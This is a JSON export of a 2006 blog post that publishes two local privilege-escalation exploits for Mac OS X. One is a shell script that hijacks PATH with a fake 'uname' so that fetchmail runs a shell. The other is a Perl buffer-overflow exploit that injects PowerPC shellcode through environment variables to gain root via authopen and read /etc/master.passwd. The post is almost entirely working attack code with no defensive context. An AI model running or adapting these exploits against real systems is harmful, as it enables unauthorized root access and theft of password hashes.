{"id":396,"date":"2006-08-05T03:25:03","date_gmt":"2006-08-04T20:25:03","guid":{"rendered":""},"modified":"2006-08-05T03:25:03","modified_gmt":"2006-08-04T20:25:03","slug":"osx-local-fetchmail-exploit","status":"publish","type":"post","link":"https:\/\/deepquest.code511.com\/blog\/2006\/08\/osx-local-fetchmail-exploit\/","title":{"rendered":"OSX: local fetchmail exploit"},"content":{"rendered":"

local fetchmail exploit v1 an v2<\/p>\n

#!\/bin\/sh
\n#
\n# Previously undisclosed local fetchmail issue. This takes setgid=6
\n#<\/p>\n

export PATH=\/tmp:$PATH
\necho \/bin\/sh -i > \/tmp\/uname
\nchmod +x \/tmp\/uname
\n\/usr\/bin\/fetchmail -V<\/p>\n

v2:<\/p>\n

#!\/usr\/bin\/perl
\n#
\n# Variant of CF_CHARSET_PATH a local root exploit by v9_at_fakehalo.us
\n#
\n# Jill-Does-Computer:\/tmp jilldoe$ .\/authopen-CF_CHARSET.pl 0
\n# *** Target: 10.3.7 Build 7T65 on PowerPC, Padding: 1
\n# sh-2.05b# id
\n# uid=502(jilldoe) euid=0(root) gid=502(jilldoe) groups=502(jilldoe), 79(appserverusr), 80(admin), 81(appserveradm)
\n#
\n#<\/p>\n

foreach $key (keys %ENV) {<\/p>\n

delete $ENV{$key};<\/p>\n

}<\/p>\n

#\/\/ ppc execve() code by b-r00t + nemo to add seteuid(0)
\n$sc =
\n“\\x7c\\x63\\x1a\\x79” .
\n“\\x40\\x82\\xff\\xfd” .
\n“\\x39\\x40\\x01\\xc3” .
\n“\\x38\\x0a\\xfe\\xf4” .
\n“\\x44\\xff\\xff\\x02” .
\n“\\x39\\x40\\x01\\x23” .
\n“\\x38\\x0a\\xfe\\xf4” .
\n“\\x44\\xff\\xff\\x02” .
\n“\\x60\\x60\\x60\\x60” .
\n“\\x7c\\xa5\\x2a\\x79” .
\n“\\x40\\x82\\xff\\xfd” .
\n“\\x7d\\x68\\x02\\xa6” .
\n“\\x3b\\xeb\\x01\\x70” .
\n“\\x39\\x40\\x01\\x70\\x39\\x1f\\xfe\\xcf” .
\n“\\x7c\\xa8\\x29\\xae\\x38\\x7f\\xfe\\xc8” .
\n“\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc” .
\n“\\x38\\x81\\xff\\xf8\\x38\\x0a\\xfe\\xcb” .
\n“\\x44\\xff\\xff\\x02\\x7c\\xa3\\x2b\\x78” .
\n“\\x38\\x0a\\xfe\\x91\\x44\\xff\\xff\\x02” .
\n“\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x58”;<\/p>\n

$tgts{“0”} = “10.3.7 Build 7T65 on PowerPC:1”;
\n$tgts{“1”} = “10.3.7 debug 0x41424344:0”;<\/p>\n

unless (($target) = @ARGV) {<\/p>\n

print “\\n\\nUsage: $0 \\n\\nTargets:\\n\\n”;<\/p>\n

foreach $key (sort(keys %tgts)) {
\n ($a,$b) = split(\/\\:\/,$tgts{“$key”});
\n print “\\t$key . $a\\n”;
\n }<\/p>\n

print “\\n”;
\n exit 1;
\n}<\/p>\n

$ret = pack(“l”, ($retval));
\n($a,$b) = split(\/\\:\/,$tgts{“$target”});
\nprint “*** Target: $a, Padding: $b\\n”;<\/p>\n

# add a wrapper here if you want more than euid=0
\nopen(SUSH,”>\/tmp\/sh”);
\nprintf SUSH “\/bin\/csh -i\\n”;<\/p>\n

$ENV{“CF_CHARSET_PATH”} = “A” x 1048 . pack(‘l’, 0xbffffef6) x 2;<\/p>\n

$ENV{“APPL”} = “.” x $b . “iiii” x 40 . $sc ;<\/p>\n

system(“\/usr\/libexec\/authopen \/etc\/master.passwd”);<\/p>\n","protected":false},"excerpt":{"rendered":"

OSX: local fetchmail exploit<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","jetpack_post_was_ever_published":false,"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_memberships_contains_paid_content":false,"footnotes":""},"categories":[3],"tags":[],"class_list":["post-396","post","type-post","status-publish","format-standard","hentry","category-security"],"jetpack_featured_media_url":"","jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p4bBYZ-6o","_links":{"self":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/396","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/comments?post=396"}],"version-history":[{"count":0,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/posts\/396\/revisions"}],"wp:attachment":[{"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/media?parent=396"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/categories?post=396"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/deepquest.code511.com\/blog\/wp-json\/wp\/v2\/tags?post=396"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}